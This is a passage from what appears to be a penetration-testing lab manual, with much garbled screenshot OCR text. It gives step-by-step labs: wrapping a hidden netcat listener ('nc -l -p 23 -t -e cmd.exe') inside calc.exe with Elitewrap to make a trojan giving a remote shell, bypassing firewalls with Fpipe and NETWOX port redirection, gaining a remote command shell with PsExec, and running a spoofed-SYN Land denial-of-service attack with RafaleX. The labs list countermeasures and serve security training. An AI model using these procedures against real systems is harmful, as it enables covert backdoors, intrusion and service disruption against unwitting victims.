My Netwo Enter name of output file: Hacked.exe		
Operations: 1 - Fack only 2 - Fack and execute, visible, asynchronously		
3 - Pack and execute, hidden, asynchronously 4 - Pack and execute, visible, synchronously		
6 - Execute only, visible, asynchronously 7 - Execute only, hidden, asynchronously		
8 - Execute only, visible, synchronously 9 - Execute only, hidden, synchronously		
InternetEnter package file #1: c:\winnt\system32\calc.exe ExplorerEnter operation: 6	_	
Enter command line:		
<u>z</u>	_	
Shortcut to msfconsole		
.3		
ZxSniffer		
🙀 Start 🗍 🔄 🍘 🛱 🖉 🗍 🖾 C:\WINNT\System32\cm 🔄 C:\Downloads\Elitewrap	(:0 .	9:07 AM
		•

Next is the secret part of our new program. We want to execute a netcat listening session on the target computer. Enter **nc.exe** or you can enter the full path to the **nc.exe** application.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🛆 Hone 🚯 Windows 2000 Advanced Server 🔐 Red Hat Linux 💩 Auditor 2100 🚳 Windows 2000 Professional 💩 WHAX 👘	∢ → x
My Documents Ethereal	
C:\Downloads\Eiitewrap\eiitewrap.exe	
My Comperence of the second se	
<pre>Stub size: 7712 bytes Wheten fire-prace of output file: Hacked.exe Preform CRC-32 checking? [u/n]: y Operations: 1 - Pack and execute, visible, asynchronously</pre>	
Shortcut to msfconsole	
2:Sniffer	
第Start () () () () () () () () () () () () ()	9:08 AM

Now we want to make sure this executable is hidden from the victim when it executes, so we choose option **7** (execute only, hidden, asynchronously).

🛒 Windows 2000 Professional - VMware Workstation	٦×
File Edit View VM Team Windows Help	
🚡 Home 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 🗿 Auditor 2100 🔐 Windows 2000 Professional 🗿 WHAX 👫 4	• ×
My Documents Ethereal	
— ———————————————————————————————————	
C:\Downloads\Elitewrap\elitewrap.exe	
McCorol eLifeWrap 1.84 - (C) Ton "eLife" McIntyre con@holodeck.f9.co.uk Con uk interview.holodeck.f9.co.uk/elitewrap	
💭 Stub size: 7712 bytes	
My Network Friter mane of output File: Hacked.exe Paces Perform CR-32 checking? (jvn): y Operations: 1 - Pack and execute, visible, asynchronously 3 - Pack and execute, hidden, asynchronously 3 - Pack and execute, bidden, synchronously 4 - Pack and execute, visible, asynchronously 5 - Pack and execute, bidden, synchronously 6 - Execute only, visible, asynchronously 8 - Execute only, visible, synchronously 9 - Execute only, Nidden, synchronously 9 - Execute only,	
snortour to msfconsole	
250iffer	
😹 Start 🛛 🗃 🍘 🖏 🔘 🗍 🚾 C:\WINNT\System32(cm 🔤 C:\Downloads\Elitewrap 🛛 💱 C:\Downloads\Elitewr 🔃 9:08 .	АМ
	D) //.

The netcat application requires options to set it up to listen and to execute a reverse shell. In this lab, we want netcat to start listening on port 23, and if connected, to return a remote shell. This is done by typing -l -p 23 - t -e **cmd.exe** and pressing **Enter**.

- The **-1** option instructs netcat to start listening.
- The -p 23 option tells netcat what port to listen on.
- The -t option tells netcat to handle any Telnet negotiations.
- The **-e cmd.exe** option tells netcat to send anyone connecting to this port a shell.



Elitewrap will ask if you want to keep adding files. At this point we are done, so just press **Enter**.

Windows 2000 Professional - VMware Workstation	1×
File Edit View VM Team Windows Help	
🚓 Home 👔 Windows 2000 Advanced Server 🚓 Red Hill Linux 🗿 Auditor 2100 🕋 Windows 2009 Professional 🐉 WHAX 🗿 4 🕨	×
A 0	
by Decements - Ethernal	
THE ADDRESS AND ADDRESS	
the Communication of the Commu	
tamPholodeck.f9.co.uk http://www.holodeck.f9.co.uk/elitewrap	
Stub size: 7712 bytes	
Multeren Enter name of output file: Hacked.exe	
Perform CRC-32 checking? Ly/n]: y Operations: 1 - Pack only	
2 - Pack and execute, visible, asynchronously 3 - Pack and execute, hidden, asynchronously	
4 - Pack and execute, visible, synchronously 5 - Pack and execute, bidden, synchronously	
Recycle D 6 - Execute only, visible, asynchronously	
7 Execute only. Atalen, asynchronously 8 Execute only. visible. synchronously	
y - Execute only, Aldden, synchronously	
Enter package file #1: c:\vinnt\system32\calc.exe InteretEnter operation: 6	
Expanse Enter command line:	
Enter operation: ?	
Photo package file #3:	
Speta to	
-5-	
ZuSaffer	
😹 Start 🔄 🖉 🗇 🖉 🖾 C:(WIWIT)System32(cm) 🔄 C:(Downloads)Eltewrap 🕼 C:(Downloads)Eltewr 🤃 🕼 🐒 9:09 Al	м
	1 11

Within the directory containing the Elitewrap application a new program will now be displayed, called **Hacked.exe**. Double-click this program on the target computer.

The Windows calculator will be displayed. The user can use this normally. When the user closes the calculator, the fun begins because it executes our netcat command as outlined above.



By executing the **netstat** –**an** command again from the target computer you will notice that port 23 is now listening for connections.

📓 Windows 2000 Professi	onal – VMware Workstation			-101
File Edit View VM	Team Windows Help			
	6 6 10 10 10 10 10			
n Hone 👘 Windows 2	000 Advanced Server 🛛 🔐 Red H	lat Linux 🐉 Auditor 2100 👸	Windows 2000 Professional	INHAX In 4 ►>
<u></u>				
My Documents Ethereal				
1				
<u> </u>				
My Computer	C:\WINNT\System32\cmd.exe		and the second	
C:\>net:	stat -an			÷.
Active	Connections			
My Network Proto Places ICP	Local Address 0.0.0.0:23	Foreign Address 0.0.0.0:0	LISTENING	
	0.0.0.0.135	8.0.0.0.0	LISTENING	_
	0.0.0.0:1027 192.168.1.128:139	0.0.0.0:0	LISTENING	_
UDP UDP	0.0.0.0:135 0.0.0.0:445	***		_
UDP UDP	0.0.0.0:1026 192.168.1.128:137	N 2 N		_
Internet	192.168.1.128:138	*:*		_
Explorer C:>>_				_
.cb				
Shortcut to				-
mstconsole				
3				
ZxSnilfer				
Bstart 3 6 9	C:\Downloads\Netcat	Select C:\WINNT\Syst	GC:(Downloads)Elitewrap	🔆 🗇 🚅 9:21 AM

From the directory containing the netcat executable on the attacking computer we want to try to connect to our victim by typing:

nc -v <Target IP Address> <Port #>

In this example, we type **nc** –**v 192.168.1.128 23**. The –**v** option tells netcat to run in verbose mode to show the activity.



From the attacking computer, we now have a **C**: prompt displayed. Could this be the target?



To verify, type **ipconfig** and press **Enter**.



As you can see, we now have a C: prompt on the target computer.



*Note: Elitewrap is an excellent "wrapping" tool and is very effective against those computers with outdated or no antivirus software. Once the attacker presses **Ctrl+C** to break the connection, the port will stop listening on the target computer.

Lab 88: TCP Relay: Bypass Firewalls

Traffic Redirection: Fpipe

Prerequisites: None

Countermeasures: Log monitoring, strong (ACLs)

Description: Firewalls are used to filter undesired network traffic. Port redirection allows you to bypass that restriction by forwarding traffic through allowed ports on the firewalls.

Procedure: Set the parameters, execute, and verify results.

In this example, we want to verify the IP address of the Web server by typing **ipconfig** and pressing **Enter**.



Verify the Web site is running by bringing up the site on the server.



From the local computer (not the Web server), we want to verify the IP address by typing **ipconfig** and pressing **Enter**.





Next, verify what ports are in use by typing **netstat** –an and pressing **Enter**.

The first column lists the local address with ports in use. For example:172.16.1.56:1390.0.0.0:0LISTENING

- The **172.16.1.56:139** identifies the local machine's IP address with port 139 open.
- The **0.0.0.0:0** identifies any remote IP addresses the machine is connected to.
- **LISTENING** tells you that this port is currently listening for connections.



To execute the Fpipe redirection tool, type (from the directory containing the application):

fpipe -v -i 172.16.1.56 -l 80 -r 80 172.16.1.60

- -v instructs Fpipe to run in verbose mode (shows details as they occur).
- -i instructs Fpipe to listen on the IP address following it (172.16.1.56).
- -r instructs Fpipe to use the remote port following it (port 80).
- 172.16.1.60 is the IP address of the Web server.



The Fpipe application will start listening on port 80 of the local computer and redirect all traffic to port 80 on the Web server's IP address.

🗐 Window	ows 2000 Professional - YMware Workstation					_ 🗆 ×
File Ec	dit View VM	Team Windows Help				
] 🔳 🐽	DG					
Vindov	ws 2000 Server	Windows 2000 Advanc	ed Server 🛛 👘 Red Hat Linux 8 Se	rver 🛛 🔐 Windows 2000 Profes	isional 🔐 Win	∢ → x
	C:\WINN	T\System32\cmd.exe - fnin	e -y -i 172.16.1.56 -l 80 -r 80 172	.16.1.60		
My Documer	nt Tax Channel	1) ()				
	Active C	anareu (rpipe/nets)	tat -all			
My Comput My Network Places Recycle Bi Explorer Shortcut Shortcut Shortcut	er TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP	Local Address 0.4.0.0:135 0.4.0.0:135 0.4.0.0:1425 0.4.0.0:1425 0.4.0.0:1425 0.4.0.0:1425 0.4.0.0:1425 0.4.0.0:1425 0.4.0.0:1426 0.4.0.0:1426 0.4.0.0:1426 0.4.0.0:1426 0.4.0.0:1426 0.4.0.0:1426 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:005 127.0.0.1:1093 127.0.0.1:005 127.0.0.1:1093 127.0.0.1:005 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:005 127.0.0.1:1093 127.0.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.1:1093 127.0.0.0.1:1093 127.0.0.0.1:1093 127.0.0.0.1:1093 127.0.0.0.0.1:1093 127.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0	Foreign Address 0.6.8.0.0 0.6.0.0 0.6.0.0 0.6.0.0 0.6.0.0 0.6.0.0 0.6.0.0 0.6.0.0 0.6.0.0 *** *** *** *** *** *** ***	State LISTENING LISTENING LISTENING LISTENING LISTENING 80 -r 80 172.16.1.60		
Astart		Equipatione Inc. @ Stra	t WINNT\ System 22		64. .	10-22 PM
Junit	1. <u>m</u> (m (m)			8		

Verify that the local machine is now listening on port 80 by typing **netstat** –**an** and pressing **Enter**.



Open Internet Explorer on the local machine and enter the local IP address (**172.16.1.56**) into the address bar of the browser. Because port 80 is now listening on the local machine and Fpipe redirected all traffic from port 80 to the Web server IP address (172.16.1.60), the Web site will be displayed.



By looking at the Fpipe screen, the verbose will list the data flow statistics for the connection.



*Note: Fpipe, from Foundstone, is a small, fast port redirector and I highly recommend this application if you have a need for traffic redirection.

Lab 89: Remote Execution

Remote Execution on Target: PsExec

- **Prerequisites:** File and print sharing enabled and Admin\$ share (a hidden share that maps to the \windows directory) is defined on the remote system. Compromised target with Administrative access.
- **Countermeasures:** Bastion servers, strong password policy and enforcement **Description:** PsExec is a lightweight Telnet replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software.
- *Note: This is an excellent tool to execute applications on remote systems that have been compromised. The best part of this application is that it requires no software to be installed on the target.

Procedure: Set the parameters and execute against the target.

Verify the IP address on the **target** by typing **ipconfig** and pressing **Enter**.





Repeat the IP verification on the **attacking** machine.

To execute the *ipconfig* command from the attacking computer to the target computer, type:

- <target> is the target's IP address or hostname.
- $-\mathbf{i}$ instructs pseudo to interact with the desktop on the target system.
- –**u** is the username switch.
- -p is the password switch.
- **command** is the command to execute on the target.



PsExec will now execute the *ipconfig* command on the target machine and display the results on the attacker's computer.

💽 Windows 2	2000 Professional - VMware Workstation		_ 🗆 ×
File Edit	View VM Team Windows Help		
B Windows	2000 Server 👔 Windows 2000 Advanced Server 👔 Red Hat Linux 8 Server 🚯 Windows 2000 Professional	🚯 Re	< → ×
	\mathbb{A}	N.	A C
My Documents	LanTak NET	Tighty	NC
	C\\WINNT\System32\cmd.exe		
	X:\X\Shared\PsExec>ipconfig	_	
My Computer	Windows 2000 IP Configuration		
60	Ethernet adapter Local Area Connection:		
My Network Places	Connection-specific DNS Suffix : gateway.2wire.net IP Address		
8	X:\X\Shared\PsExec>psexec \\w2kas -i -u administrator -p 123 ipconfig		
Recycle Bin	PsExec v1.63 - Execute processes remotely Copyright (C) 2001-2005 Mark Russinovich Sysintermals - www.sysinternals.com		
Internet	Windows 2000 IP Configuration		
Explorer	Ethernet adapter Local Area Connection:		
1	Connection-specific DNS Suffix .: gateway.2wire.net IP Address		
Spyware	Subnet Mask		
Doctor	X:\X\Shaved\PsEver>		
		_	
Privacy Eraser			
, no			
#Start	🖄 🕭 🖏 🛛 🔄 DPSExec 🛛 🖾 C:\WINNT\ 🖉 Sysinternals 🖉 PSExec - Mc	X (* 6	:37 PM
		201	()

To try something dangerous on the target, tell PsExec to execute a command shell of the target machine on the attacker's computer by typing:

```
psexec \\w2kas -i -u administrator -p 123 cmd
```


With a successful connection the prompt will now change to the **c:\WINNT\ system32** directory because that is where the **cmd.exe** command resides on the target.



Now by running the *ipconfig* command, you display the target information. This indicates you can operate the target computer from the command shell as though you were sitting directly behind the target computer.

👰 Windows 2000 Professional - YMware Workstation	_0×
File Edit View VM Team Windows Help	
🚯 Windows 2000 Server 🔹 Windows 2000 Advanced Server 🔹 Red Hat Linux & Server 🚯 Windows 2000 Professional 😜 Red	 ↓ ×
	(D)
My Documents LanTalk NET	NC .
M\\w2kas: cmd	(Fa
X:\X\Shared\PsExec>psexec \\w2kas -i -u administrator -p 123 cmd	
Ny Computer PExace v1.63 - Execute processes remotaly copyright C2 2001-2005 Navk Russinovich Sysinternals - vww.sysinternals.com	
My Retwork Hicrosoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.	
C:\WINNT\system32>ipconfig	
3 Windows 2000 IP Configuration	
Recycle Bin Ethernet adapter Local Area Connection:	
Connection-specific DNS Suffix : gateway.2vire.net 1P Address. : 127.16.1.60 Subnet Mask : : 255.255.0.0 Default Gateway : : 127.16.0.1	
Explorer C:\WINNT\system32>	
Springe Doctor	
	-
Privacy Eraser Pro	
Start C Systematics Produce - Mc	6:50 PM

To exit the command shell on the target, type **exit** and press **Enter**.



You will now be returned to the attacker's desktop.

👹 Windows 2000 Professional – VMware Workstation	the second s	X
File Edit View VM Team Windows Help		
👔 Windows 2000 Server 📲 👔 Windows 2000 Advanced Serve	e 👔 Red Het Linux U Server 🔒 Windows 2000 Pri	ofessional 👔 😥 🔹 🔸 🗙
My Documents LanTalk NET		S/NC
Ca\WINNT\System32\cmd.exe		
X:\X\Shared\PsExec>psexec_\\w2ka	us -i -u administrator -p 123 cmd	
My Computer PsExec v1.63 - Execute processes	remotely	
Copyright (C) 2001-2005 Mark Rus Sysinternals - www.sysinternals.	sinovich con	
Hierosoft Vindous 2000 [Version	5 88.21951	
Places (C) Copyright 1985-2000 Microsof	t Corp.	
C:\VINNT\system32>ipconfig		
Recycle Bin Ethewart adapter Local Ques Con	act foot	
Connection-specific DNS	Suffix . : gateway.2vire.net	
Subnet Mask	: 172.16.1.60	
Internet Control of Co	: 172.16.0.1	
cnd exited on w2kas with error o	code 8.	
X:\X\Shared\PsExec>		
Soyware		
		-1
Pro		
	_	
Bestart 3 A C PSExec B C WINNT	Dysinternals DPsExec - Mic	6:52 PM

*Note: Several readers at this point may wonder what the point is by running this program as you are already required to have Administrative access for PsExec to execute commands on the target system. The answer is that because you have Administrative access on one computer does not necessarily indicate you have Administrative access throughout the entire network. However, gaining command shell Administrative access to one computer on the network will allow the attacker to execute other tools from the compromised system, map the network, install tools, Trojans, viruses, and so forth. Do not always assume that Administrative access on one computer is the key to the city.

Lab 90: TCP Relay — Bypass Firewalls

Traffic Redirection: NETWOX/NETWAG

Prerequisites: None

Countermeasures: Log monitoring, strong ACL

- **Description:** The NETWOX (NETWork toolbOX) application can be a very dangerous tool in the wrong hands. The latest version has 197 different techniques to enumerate information from the LAN or launch attacks against a remote target. This tool is listed in several sections of this manual. In this lab the tool is used to demonstrate its ability to relay TCP traffic. (Tool 185 permits multiple/simultaneous connections.) Disgruntled employees can use this technique to bypass content filtering and an attacker uses compromised systems to launch attacks from.
- **Procedure:** Install NETWOX/NETWAG, run the NETWOX application, and review the results. (The NETWAG application is the Graphical User Interface [GUI] for the NETWOX application. In Lab 53 the GUI was demonstrated. This lab will use NETWOX.)

From the computer NETWOX is installed on, ping **www.Google.com** and obtain the IP address (216.239.39.99).

Open a Web browser and enter the IP address to verify if Google is retrieved.

🗿 Google - Microsoft Internet Explorer provided by JHA	- DX
<u>File Edit View Favorites Iools H</u> elp	AL.
🚱 Back 🔹 🕥 - 📓 🙆 🏠 🔎 Search 👷 Favorites 🜒 Media 🧐 🙆 - 🌺	> `
Address 🗿 http://216.239.39.99/	Go Links »
Google - 👘 Search Web - 👘 🗗 663 blocked 📲 AutoFill 💌 Op	itions 🥒
Web Images Groups News Frongle more >> Advanced St Preferences	earch
Google Search I'm Feeling Lucky Language Tr New! <u>Google Desktop Search</u> : Search your own computer. Advertising Programs - <u>Business Solutions</u> - <u>About Google</u> - <u>Go to Google.com</u>	2015
Done	.;;

Obtain the IP address of the computer to run NETWOX; in this example: **192.168.11.60**. Start the NETWOX application from the shortcut installed during installation. The initial screen will display several options. For this example, select option **6** and press **Enter**.



For the tool number enter 183 and press Enter.

Netwox525 - "C:\Program Files\netw\netw525\netwox525.exe"	⊐ ×
<pre>4 - display help of one tool 5 - run a tool selecting parameters on command line 6 - run a tool selecting parameters from keyboard a + information b + network protocol c + application protocol d + sniff (capture network packets) e + spoof (create and send packets) f + record g + client h + server i + ping</pre>	
j + traceroute k + scan l + network audit	
m + brute force n + backdoor	
o + tools not related to network Select a node (key in 03456abcdefghijklmno): 6 Select tool number (between 1 and 197): 183	
######################################	-

For the source port number enter any TCP port *not* currently in use. (You can verify this with the netstat **–an** command from a DOS prompt.)

For this example port **2966** was used.

For the destination IP address enter the Google IP address obtained earlier. (**216.239.39.99**). Enter port **80** as the destination port and answer **No** to setting optional arguments.

Wetwox525 - "C:\Program Files\netw\netw525\netwox525.exe"	- 🗆 ×
a + information	•
b + network protocol	
c + application protocol	
d + sniff (capture network packets)	
e + spoof (create and send packets)	
f + record	
g + client	
h + server	
i + ping	
j + traceroute	
k + scan	
1 + network audit	
m + brute force	
n + backdoor	
o + tools not related to network	
Select a node (key in 03456abcdefghijklmno): 6	
Select tool number (between 1 and 197): 183	
######################################	
Select tool parameters and finish with '-' key.	
source port number (argument -P src-port) [1234]: 2966	
destination IP address (argument -x server-ip) [5.6.7.8]: 216.239.39.99	
destination port number (argument -X server-port) [80]: 80	
Do you want to set optional arguments (key in ynYN)[n]: n	
	-

From *another* computer that has access to the computer running NETWOX, open a Web browser and enter the IP address of the computer running NETWOX plus the port number identified as running the source port number.

In this example, we used **http://192.168.11.60:2966** (Google should come up).



In this example, port redirection was used on a target to browse to the Internet. Attackers or even disgruntled employees can use this tool to bypass network restrictions plus more.

*Note: Port redirection can be very difficult to detect and almost impossible to prevent because of the weaknesses with all firewalls; after all, "They cannot prevent what they must allow." Because of this weakness an attacker can use port redirection through any allowed port through the firewall. Internet firewalls commonly allow ports 21, 53, 80, 443, and so forth.

Chapter 11

Denial-of-Service (DoS)

Lab 91: Denial-of-Service — Land Attack

DoS Land Attack: Land Attack

Prerequisites: None

- **Countermeasures:** Secure access control lists (ACLs), Bastion servers/ workstations, ingress filtering
- **Description:** Sending a packet with the synchronize (SYN) flag set to a target where the source IP is set to match the actual target's IP causes the system to try to respond to itself, causing the system to lock up.
- **Procedure:** Install RafaleX, set parameters, and execute against the target. Verify with the packet sniffer.
- Install the RafaleX application as outlined in Lab 48.
- Install the Ethereal application as outlined in Lab 41.
- Open the Ethereal application and start capturing data (refer to Lab 41).
- Open the RafaleX application by clicking on the **RafaleX.exe** icon.



The RafaleX application will start.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🚯 Windows 2000 Server 👔 Windows 2000 Advanced Server 🚯 Red Hat Linux 8 Server 👔 Windows 2000 Professional 🚳 Win	∢ → x
My Documents Ethereal	
Rafale X	4
File Tools Modules Managers Options Language Help	
My com 😂 🗈 🔁 🔁 🛃 🛠 🎒 🖇	
Network interface : 1 : 172.16.1.56 🔽 🖸 TCP UDP ICMP	
Set as source IP Set as destination IP Sequence : 0 Acknowledge : 0	
My Netu [IP] Place Source IP: Port: 1 Specify data offset 0 (bytes)	
Destination IP: Port: 1 [Flags]	
Kecycle Specity header size 20 (bytes) Window : 0 Urgent : 0	
Type of service : Routine	
Specify identification 0 Data:	
Explor Fragmentation: DF: 0: May Fragment	
MF: U: Last Fragment V Commands J	
Short	
msfcor Protocol: 6:TCP 🔄 [Script]	
Specity checksum	
ZxSnf Status : Ready.	
	_
[近ちtart] (四) (第二) [□rarate x v1.1 (回) VY9ware Acceler (回) Ethereal: Captu (四) Rafale X (回) (日本語名)	9:23 AM

Set the **Source IP** address to the **IP Address** of the target. Set the **Source Port** to **80**. (We know it is a Web server.)

Vindows 2000 Professional - VMware Workstation	× Dia
The Edit View VM Team Windows Help	
	The part law is set at 10 an end and set at 10 and
Ma for sector . Etherand	
PT Defete X	
File Tools Modules Managers Options Language He	か か

Network interface: 1: 172161.56 Set as zouce iP Set as destination IP Souce IP Transition Souce IP Post: Souce IP Post: Souce IP Post: Souce IP: Post: Specify insdem size [Diplet] Specify insdem size [Diplet] <td>TCP UDP IDAP Sequence: 0 Acknowledge: 0 Specily data afflet [] [bytes] [Flags] URG ACK PSH RST SYN FIN Window: 0 Uigent: 0 [Specily TCP checksum Data [Connards] Nb of packets: 1 Packet type: TCP SEND [Sock]</td>	TCP UDP IDAP Sequence: 0 Acknowledge: 0 Specily data afflet [] [bytes] [Flags] URG ACK PSH RST SYN FIN Window: 0 Uigent: 0 [Specily TCP checksum Data [Connards] Nb of packets: 1 Packet type: TCP SEND [Sock]
Specity checksum	
Z.Shi Status : Ready.	
Start 3 6 C - Grafale x v1.1 Over	re Acceler ② Ethereal: Captu ② Rafale X ② ④ 图 20:20 AM
	0.000

Set the **Destination IP** address to the target IP address. Set the **Destination Port** to **80**.

ows 2000 Server	👔: Red Hal Linux 5 Server 👔 Windows 2000 Professional 📆 Win
ents Othereal	
Rafale X	
File Tools Modules Managers Options Language He	Ap
Network interface : 1 : 172.16.1.56	TCP UDP IDMP Sequence : 0 Acknowledge : 0
Source IP : [172.16.1.60 Port : [80 Destination IP : [172.16.1.60 Port : [00]	Specily data offset [Page] [Page] URG ADK PSH RST SYN FIN
Type of service : Routine	Window: 0 Urgent : 0
Fragmentation : DF : 0 : May Fragment MF : 0 : Last Fragment Offset 0 TTL : 128 -	Commands Nb of packets : 1 🚔 Packet type : TCP 💌 SEND
Protocol: 6:TCP	[Script]
Status : Ready.	

On the TCP tab click on the **SYN Flag**. Enter random data for the payload of each packet. Set the **Nb of packets** to **9999**.

Click the **SEND** button.

*Note: I have used RafaleX for several years and at times it can appear to be "buggy" by not wanting to send packets. The best way I have found to fix this is to close the program, bring it back up, and try again.

Vikindows 2000 Server 👔 Vikindows 2000 Advanced Server	n Rod Hat Linus B Server 👔 Vindows 2000 Professional 🔐 🗰 🕻 🕨
File Tools Modules Managers Options Language H Carl Tools Modules Managers Options Language H Carl Tool Tool Tool Tool Tool Tool Tool To	¢
Network, interface: 1: 17216.1.56 Image: Constraint of the second of th	TCP UDP ICMP Sequence: 0 Achrowindge: 0 Specily data afflief Bytes [Reps] URG ACK PSH PST STN PN Window: 0 Ulgent. 0 Specily TCP checknam Defe: [AND ATTACK LAND ATTACK LAND ATTACK IConnards] Nb of packet: 9333 Packet type: TCP SEND [Sept]

The status bar along the bottom of the application will tell you how many packets it has sent compared to how many packets it will send.

anerts Ethereal	
File Tools Modules Managers Options Language He	¢
Network intense: 1:172:16.156 Image: Control of the second seco	10P UDP IDAP Sequence: Acknowledge: Soechy data offect Digited Implication Digited Window: Upper: Implication Specify IDP strendsmer Data: LAND ATTACK LAND ATTACK Icommards Packet type: Icomplete Packet type: Social RUM Schipping
	- 34

Stop the packet capture and the overall results will be displayed.

<u>وآ</u> Wi	ndows	2000 Pro	ofessi	ional - 1	/Mwai	e Wa	rkstati	on													L	
File	Edit	View	VM	Team	Wind	DWS	Help															
		ÞG)] i	0	h 🈰			16		2	1											
Ξį, v	Vindows	2000 Sei	rver	D V	/indow	s 2000) Advani	ed Se	rver		ted Ha	at Linux	8 Server	5	Windov	vs 200	10 Pro	fession	a	⊕ wi	n 📢	ъх
@ (U	ntitled)) - Ether	eal																		_	1 1 1 1 1 1
Eile	Edit	<u>Vi</u> ew <u>G</u>	jo ⊆a	apture	Analys	te S	tatistics	Help														
	i	01 (6		×	¢	8	9		(a 6	©⊒ <	7	⊉		1	\$	Ð,	Q,	1:1	
Eiter	:											- E	xpression	. ⊆lea	er App	ly						
No.	Ti	me		Source	:e •			D	estinati	on			Protocol	Info								-
	10	.00000	00	172	.16.(0.1		В	road	cast			ARP	who	has i	172	.16.	1.41	?	reff	172.	16
	2 0	.63612	24	172	.16.0	0.1		В	road	cast			ARP	who	has	172	.16.	1.41	?	Tell	172.	16
	32	. 204 /8	39	1/2	.16.0	0.1		B	road	cast			ARP	Who	has	1/2	.16.	1.42	2	Tell	172.	16
	4 5	.12408	51	172	16.0	1.1		В	road	cast			ARP	who	has	172	.10.	1 52		rell	177	16
	6.2	92997	22	172	16.1	24		1	70 1u	6 259	5 2 5	5	PROWER	. Hos	t An	21/2	. 10.	Dot D	I : ONN	1011 00 V	unrke	+ 0 L
	74	. 09934	10	172	.16.0	1.1		B	road	cast		5	ARP	who	has	172	.16	1.43	2 .	Tell	172.	16
	8 5	.12458	38	172	.16.0	0.1		B	rnad	cast			ARP	who	has	172	.16.	1.43		Tell	172.	16
	9.6	.14526	50	172	.16.0	0.1		В	road	cast			ARP	who	has	172	.16.	1.44	? .	Tell	172.	16
	10 7	.21844	15	172	.16.0	0.1		В	road	cast			ARP	who	has	172	.16.	1.44	? .	Tell	172.	16
	11 8	.23658	36	172	.16.0	0.1		В	road	cast			ARP	Who	has has	172	.16.	1.45	i? -	Tell	172.	16 _
L.	12.0	15015	20	177	16 (1		D	nood.				400	who	hhe	177	16	1 / 5		5011	177	16
<u> </u>																						
🗄 Fi	rame :	1 (60	byte	es on	wire	2, 6	0 byt	es c	aptu	red)												
18 E1	thern	et II,	sre	c: 17	2.16.	0.1	(00:	12:8	8:42	:34:0	:9),	Dst:	Broad	cast	(ff:	ff:t	f:f	f:ff	:ff)			
B A	ddres:	s Resc	lut	ion P	notod	:01	(requ	est)														
0000) FF		££		00	12	00 4	24	c0 (02.06	00	01			D4							
0010	08	00 06	04	00 01	00	12	88 42	34	69 2	ac 10	00	01			B4.							
0020) ff	ff ff	ff	ff ff	ac	10	01 29	00	00 0	00 00	00	00)							
0030	00 (00 00	00	00 00	00 (00	00 00	00 (00													
File: "	C:\DOCI	JME~1\A	DMIN	P: 103	87 D: 1	0387	M: 0 Dro	ps: 0														
1 Sta	tart	36	G		Jrafa	le x v	1.1		6	(Untit	led)	- Ether	eal 🗒	Rafale	эx				D489	187	10:2	1 AM
<u> </u>						-		_	_, .		-			-		-	_			P		()

By clicking on the **Source IP** column the results will filter based on the source IP of each packet. Fortunately for us, our spoofed packets are listed first. (You may have to click it twice to get the spoofed packets listed first.)

🗐 Windo	ws 2000 Professi	ional - VMware Workstal	ion			_O×
File E	dit View VM	Team Windows Help				
I 🗖 🕦	Dell	8 8 8 1				
		Can C21 Man 1 CC1 6				
Vendo	ows 2000 Server	Windows 2000 Adva	hoed Server	ux 8 Server	aows 2000 Professional	
Condi	led) - Ethereal					그리스
Ele Edi	it Yiew Go Ca	apture <u>A</u> nalyze <u>S</u> tatistic	; Help		_	
		🕍 🕞 🔂 🗙	re 🗧 🔄 🗢			11
Eilter:			•	Expression Clear	Apply	
No.	Time	Source *	Destination	Protocol Info		_
10369	204.308771	172.16.1.60	172.16.1.60	HTTP TCP 2	ZeroWindow] Continuati	on or 🔜
10368	204.308192	172.16.1.60	172.16.1.60	HTTP TCP 2	ZeroWindow] Continuati	on or
10366	204.304231	172.16.1.60	172.16.1.60		ZeroWindow] Continuati	on or
10365	204.303696	172.16.1.60	172.16.1.60	HTTP TCP 2	zeroWindow] Continuati	on or
10364	204.303055	172.16.1.60	172.16.1.60	HTTP TCP 2	Zerowindow] Continuati	on or
10363	204.302106	172.16.1.60	172.16.1.60	HTTP TCP 2	ZeroWindow] Continuati	on or
10362	204.301485	172.16.1.60	172.16.1.60	HTTP [TCP 2	zerowindowj Continuati	on or
10360	204.300628	172.16.1.60	172.16.1.60		Zerowindowj Continuati Zerowindowi Continuati	on or
10359	204.295704	172.16.1.60	172.16.1.60	HTTP TCP 2	Zerowindowi Continuati	on or _1
			077 0 <i>7</i> 0 70			
		1				<u> </u>
E Fram	e 10377 (60	bytes on wire, 6) bytes captured)	Date 170 16 0 1	(00.12.99.42.24.50)	
B Ethe	Ass Perclut:	ion Protocol (ren):UC:29:UC:29:D0),	JSU: 1/2.10.0.1	(00.12.88.42.34.09)	
- Augur	ess Resolut	ion Frococor (rep	(2)			
						I
						I
						I
0000 0	00 12 88 42	34 69 00 06 29 6	c e9 b6 08 06 00 01	B4		
0010	08 00 06 04	00 02 00 0c 29 0	c e9 b6 ac 10 01 30			
0020	00 12 88 42	34 c9 ac 10 00 0	1 11 02 81 d8 ac 10	в4		
0030 (01 3c 00 8a	00 a2 00 00 20 4	6 48 44	.< FHD	0	
File: "C:\D	OCUME~1\ADMIN	P: 10387 D: 10387 M: 0 Dr	ops: 0			
Start	1000	rafale x v1.1	🕝 (Untitled) - Et	hereal 👸 Rafale X	· · · · · · · · · · · · · · · · · · ·	10:23 AM
					2	

By selecting any of your spoofed packets, you can display the details of the packets in the center section. By dragging the borders of the sections, you can increase or decrease each section.

In this example, by looking at the center section, we can verify that each packet was successfully sent with the spoofed source IP address of the target to the target from port 80 to port 80.

🗐 Windo	ows 2000 Profes	sional - VMware Works	tation		<u>_ ×</u>
File	Edit View VM	Team Windows Hel	p		
] 🔳 🛛	11 🕞 🤤 🛛	0000			
